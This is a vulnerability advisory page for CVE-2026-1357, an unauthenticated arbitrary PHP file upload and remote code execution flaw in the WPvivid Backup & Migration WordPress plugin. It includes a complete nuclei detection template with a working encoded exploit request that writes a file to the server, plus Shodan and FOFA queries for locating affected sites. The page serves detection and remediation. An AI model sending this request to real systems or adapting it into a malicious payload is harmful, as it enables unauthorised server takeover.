WPvivid Backup & Migration <= 0.9.123 - Arbitrary File Upload

criticalseverity

9.8CVSS score

39%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WPvivid Backup & Migration plugin for WordPress <= 0.9.123 contains an unauthenticated arbitrary file upload vulnerability caused by improper error handling in RSA decryption and lack of path sanitization, letting unauthenticated attackers upload arbitrary PHP files and achieve remote code execution via wpvivid_action=send_to_site parameter.

Impact

Unauthenticated attackers can upload arbitrary PHP files and execute remote code, leading to full server compromise.

Fix

Update to the latest version of WPvivid Backup & Migration plugin.

How to confirm it

Send: POST /
Positive when: contains "\"result\":\"success\"" AND status 200
Send: GET /wp-content/uploads/vt-nuclei-test.txt
Positive when: contains "CVE-2026-1357-nuclei-verification-test" AND status 200

Run it with nuclei: nuclei -id CVE-2026-1357 -u <target>

The full check

id: CVE-2026-1357

info:
  name: WPvivid Backup & Migration <= 0.9.123 - Arbitrary File Upload
  author: omarkurt
  severity: critical
  description: |
    WPvivid Backup & Migration plugin for WordPress <= 0.9.123 contains an unauthenticated arbitrary file upload vulnerability caused by improper error handling in RSA decryption and lack of path sanitization, letting unauthenticated attackers upload arbitrary PHP files and achieve remote code execution via wpvivid_action=send_to_site parameter.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files and execute remote code, leading to full server compromise.
  remediation: |
    Update to the latest version of WPvivid Backup & Migration plugin.
  reference:
    - https://vulnerabletarget.com/VT-2026-1357
    - https://github.com/LucasM0ntes/POC-CVE-2026-1357
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1357
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1357
    epss-score: 0.39024
    epss-percentile: 0.98605
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: wpvivid
    product: wpvivid-backuprestore
    shodan-query: http.component:"WordPress"
    fofa-query: body="wp-content/plugins/wpvivid-backuprestore"
  tags: cve,cve2026,wordpress,wp,wp-plugin,wpvivid,file-upload,rce,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        wpvivid_action=send_to_site&wpvivid_content=MDAzQUJDMDAwMDAwMDAwMDAwMDExMDUGpYqxgOo0%2FZM3%2BLE%2B23CYS%2BI8Sbr6wwwU6dJweFxMk%2BOogH3GIpPZZMrm72oUS3vnrlf0AXv1vmGVBIbLo3QcQs%2B4JU7cLQw1kWByCFlYkpHcBuzxjEbVtT8VSdFgb6NLW6cpP4BdWT8bJx%2F%2FAOO09m3EFtf2sOcE%2BJjFJAew%2BELondwDkz3u5mssxGaQrlvWgaIlmPwz3FZx8dWC%2FHy7k4P3S5IJ7JV0tefjHJKCOzjPHngkZENu1uI2LmE6JaeF7XdXJCcmFOrNex4yJgIO0raawogHW457fM4wXKDnrM3bwxeLn5KwvAgadaTj4F9zWHxnjBmpa%2BtIaohISVcA5%2BGv6cAA95rzOoXBGUaI

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result":"success"'
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/vt-nuclei-test.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CVE-2026-1357-nuclei-verification-test"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from